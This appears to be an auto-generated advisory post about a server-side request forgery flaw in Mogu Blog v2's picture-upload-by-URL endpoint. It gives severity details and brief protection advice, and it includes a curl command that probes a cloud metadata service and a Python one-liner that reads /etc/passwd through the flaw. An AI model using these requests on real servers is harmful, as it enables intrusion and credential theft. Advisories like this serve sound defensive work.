Listen to this Post
The vulnerability targets Mogu Blog v2 versions up to 5.2. The flaw resides in the `LocalFileServiceImpl.uploadPictureByUrl` function within the `/file/uploadPicsByUrl` endpoint. This function is designed to fetch and upload images from user-provided URLs. However, it lacks proper validation on the input URL parameter. An attacker can submit a crafted HTTP request containing a malicious URL. The server then processes this request and initiates an outbound HTTP call to the specified address. This constitutes a Server-Side Request Forgery (SSRF) attack. The manipulation allows the attacker to control the server’s HTTP requests. The attack can be launched remotely over the network (AV:N) with low complexity (AC:L). No authentication is required (PR:N), and no user interaction is needed (UI:N). The vulnerability enables the server to be used as a proxy to scan internal networks. It can access cloud metadata services, internal APIs, or file systems. The exploit has been publicly released, demonstrating practical remote exploitation. The CVSS 4.0 vector scores it 6.9 (MEDIUM) due to low impacts on confidentiality, integrity, and availability (VC:L/VI:L/VA:L). The vendor was contacted but did not respond, leaving the vulnerability unpatched in the wild.
Platform: moxi159753 Mogu Blog
Version: up to 5.2
Vulnerability: Server-Side Request Forgery
Severity: Medium
date: 12/01/2025
Prediction: Patch date unknown
What Undercode Say:
Analytics:
curl -X POST http://target.site/file/uploadPicsByUrl -H “Content-Type: application/x-www-form-urlencoded” -d “url=http://169.254.169.254/latest/meta-data/”
python3 -c “import requests; payload={‘url’:’file:///etc/passwd’}; r=requests.post(‘http://victim.com/file/uploadPicsByUrl’, data=payload); print(r.text)”
how Exploit:
Remote unauthenticated request to /file/uploadPicsByUrl with malicious url parameter to probe internal services or read local files.
Protection from this CVE
Apply input validation. Restrict server outbound connections. Use web application firewall.
Impact:
Internal network exposure. Sensitive data leakage. Possible further exploitation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
